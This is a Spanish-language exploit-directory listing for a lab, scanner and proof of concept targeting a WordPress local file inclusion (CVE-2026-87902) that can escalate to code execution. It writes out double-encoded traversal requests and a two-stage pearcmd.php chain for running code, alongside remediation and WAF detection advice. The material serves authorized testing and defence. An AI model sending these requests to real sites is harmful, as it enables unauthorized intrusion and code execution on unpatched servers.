Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/dinosn
/cve-2026-87902-wordpress-lfi-lab
Escáneres de VulnerabilidadesEscáneres de Vulnerabilidades WebAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubdinosn/cve-2026-87902-wordpress-lfi-lab

cve-2026-87902-wordpress-lfi-lab

Laboratorio de reproducción + escáner de lista de URL + PoC para CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI no autenticado en get_page_template() de WordPress a RCE condicional (WP 4.7.0-7.1.1, corregido en 7.1.2). Pruebas autorizadas/defensivas.

Ver Repositorio
35hace 19 horasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI no autenticado en get_page_template() de WordPress → RCE condicional

Laboratorio de reproducción + escáner de listas de URL + PoC, construido y validado de extremo a extremo contra WordPress genuino 7.1.1 (vulnerable) y 7.1.2 (parcheado) en el laboratorio Docker.

  • Aviso: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Tipo: CWE-98 control inadecuado del nombre de archivo para include/require (path traversal → inclusión local de PHP)
  • Afectados: WordPress 4.7.0 – 7.1.1 (corregido en 7.1.2 y backports por rama: 7.0.6, 6.9.9, 6.8.10 … hasta 4.7.37)
  • Auth: ninguna. CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
  • Precondiciones: (1) el tema activo tiene un directorio de nivel superior llamado page-* (p. ej. page-templates/ — presente en Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) solo para RCE: un pearcmd.php legible y register_argc_argv=On.

1. Causa raíz (verificada contra el código fuente de 7.1.1 vs 7.1.2)

wp-includes/template.php :: get_page_template() construye un candidato de plantilla a partir de la query var pagename controlada por el atacante sin validate_file():

root@kitploit:~
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // <-- no validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}
root@kitploit:~
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
    $templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root

locate_template() luego hace file_exists($theme_dir . '/' . $candidate) e include del archivo encontrado. Como el candidato es page-{...}.php, el payload debe continuar un directorio de tema real que comience con page- (p. ej. page-templates/) y luego salir con ../ hacia cualquier .php legible.

La doble codificación es obligatoria. get_query_var('pagename') ya está decodificado una vez por PHP, por lo que un ../ simple hace que urldecode($pagename) === $pagename y la rama vulnerable se omita. Un %252e%252e%252f doble-codificado sobrevive la primera decodificación como %2e%2e%2f y se convierte en ../ solo por el urldecode() extra — que es el bug.


2. Laboratorio (lab/)

Versiones genuinas en paralelo en el host Docker, que difieren solo por el parche de seguridad:

Imagen base wordpress:php8.3-apache (que ya incluye pearcmd.php y register_argc_argv=On), con el core incluido reemplazado por los auténticos wordpress-7.1.1.zip / 7.1.2.zip. Twenty Fourteen está activado (con page-templates/ real), y también se crea un fixture page-templates/ en el tema activo. ID de página publicada = 2 (Sample Page).

root@kitploit:~
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh        # build + install both instances (idempotent)
./down.sh      # tear down + remove volumes

Los puertos se enlazan solo a 127.0.0.1 — la instancia vulnerable nunca queda expuesta a la red.


3. Escáner / PoC (poc/cve-2026-87902-scan.py)

Python 3, solo stdlib (sin pip install). Toma una lista de URLs y reporta cuáles son vulnerables. El escaneo por defecto es no destructivo: incluye el archivo core de solo lectura wp-links-opml.php y busca el documento OPML resultante — prueba de que la inclusión arbitraria de .php se disparó, sin escrituras ni cambios de estado.

root@kitploit:~
# single URL
./cve-2026-87902-scan.py http://target/

# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json

# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q

Cómo se clasifica un objetivo

  1. Fingerprint de WordPress + versión (meta generator → feed <generator> → wp-links-opml.php → readme.html → asset /wp-includes/ ?ver=).
  2. Descubrir un ID de página publicada válido (REST /wp/v2/pages, fallback ?rest_route=, homepage page-id-N, por defecto page_id=2) — necesario para que la petición resuelva a una Page y se ejecute get_page_template().
  3. Barrido del oráculo OPML: para segment × depth (segmento por defecto templates, profundidades 4,3,5,6,7), enviar (POST, para esquivar la redirección canónica) y exigir un que contenga + un marcador secundario ( / / ).

Robustez: preserva rutas de subdirectorio (http://host/blog), maneja gzip/deflate y charsets inusuales, reintenta una sonda una vez ante error de transporte, descubre/valida IDs de página (REST → ?rest_route= → homepage → defaults), aplica un presupuesto de tiempo por objetivo, y nunca afirma NOT_VULNERABLE a partir de una fuente de versión de baja confianza (asset ?ver= / readme.html) — esas degradan a POSSIBLY.

Código de salida: 2 si hay algún VULNERABLE, 1 si hay algún POSSIBLY (y ningún VULNERABLE), si no 0.

Flags útiles: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids, --max-time (presupuesto por objetivo), --timeout, --threads, --proxy, --header, --insecure (TLS off — solo dev), --json, --jsonl. Para una instalación de WordPress en subdirectorio, pasar la base completa (p. ej. https://host/blog); para Bedrock/core-en-wp/ el barrido también prueba objetivos de oráculo con prefijo .

Escalada a RCE (opt-in, uso en laboratorio)

root@kitploit:~
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2

Ejecuta la cadena PEAR pearcmd.php: la query string dividida por + lleva argv de config-create que escribe un marcador .php sin comillas bajo /tmp; una segunda petición lo incluye. Imprime el marcador ejecutado + php_uname() + uid. Escribe un archivo en el objetivo → un solo objetivo, requiere --i-have-authorization, desactivado por defecto.


4. Evidencia (evidence/)

Formas de petición probadas:

root@kitploit:~
LFI (detection, non-destructive):
  POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
  -> 200 with <opml version="1.0"> in the body   (depth 4 = webroot on /var/www/html)

RCE (conditional; register_argc_argv=On + readable pearcmd.php):
  Stage 1  POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
           body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
  Stage 2  POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
           -> body contains the executed marker + php_uname() + uid=33

5. Remediación

  • Actualizar WordPress a 7.1.2 (o la versión corregida para tu rama: 7.0.6, 6.9.9, 6.8.10, … 4.7.37).
  • Defensa en profundidad: establecer PHP register_argc_argv=Off para el SAPI web y eliminar/denegar pearcmd.php; esto elimina la escalada a RCE incluso si el LFI es alcanzable.
  • Detección/WAF: tras decodificar completamente las claves y valores de los parámetros (y parámetros duplicados), bloquear cualquier pagename que contenga ..; la coocurrencia de page_id + un pagename que comience con templates%252f / contenga %252e%252e en la raíz del sitio o /index.php es una señal de explotación casi segura.

Solo para pruebas de seguridad autorizadas, educación e investigación defensiva.

Descargar herramienta
ServicioURL (solo loopback)WordPressRol
wp-vulnhttp://127.0.0.1:80917.1.1vulnerable
wp-patchedhttp://127.0.0.1:80927.1.2control parcheado
db—MySQL 8.4compartido (dos bases de datos)
page_id=<id>&pagename=<../ doble-codificado → wp-links-opml>
HTTP 200
<opml version="1.0">
estructural
</opml>
<outline
<dateCreated>
  • Control negativo (prueba de causalidad): ante un hit, reemitir la petición idéntica apuntando a un .php garantizado-inexistente. Si el OPML aún aparece, el OPML es ambiental (proxy / caché / app de feeds), no nuestra inclusión → degradado a POSSIBLY. Solo un hit cuyo control esté limpio es VULNERABLE.
  • VeredictoSignificado
    VULNERABLEEl oráculo OPML se disparó — LFI confirmado (definitivo)
    NOT_VULNERABLEVersión de rama parcheada, o versión fuera de 4.7.0–7.1.1
    POSSIBLY_VULNERABLEVersión vulnerable/desconocida pero oráculo silencioso (probablemente sin directorio de tema page-*, diseño no estándar, o sin ID de página descubrible) — verificar manualmente
    NOT_WORDPRESS / ERRORSin indicadores de WP / fallo de transporte
    wp/
    ArchivoQué demuestra
    manual-validate.sh / ev-lfi.logEl oráculo OPML se dispara en 7.1.1 (profundidad 4, POST y GET), silencioso en 7.1.2; solo funciona la profundidad 4; la codificación simple falla
    rce-validate.sh / ev-rce.logRCE PEAR completa en 7.1.1 (uid=33 como www-data, profundidad 7); el parcheado no escribe archivo, no ejecuta nada
    ev-scan-table.log / ev-scan-results.jsonEscáner sobre {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR